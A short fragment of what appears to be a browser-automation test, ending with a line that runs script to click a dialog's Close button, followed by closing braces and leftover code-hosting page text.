await browser.evaluate(`document.querySelector('[role=dialog] button[aria-label=Close]').click()`);
|
||||
});
|
||||
});
|
||||
Loading…
Add table
Add a link
Reference in a new issue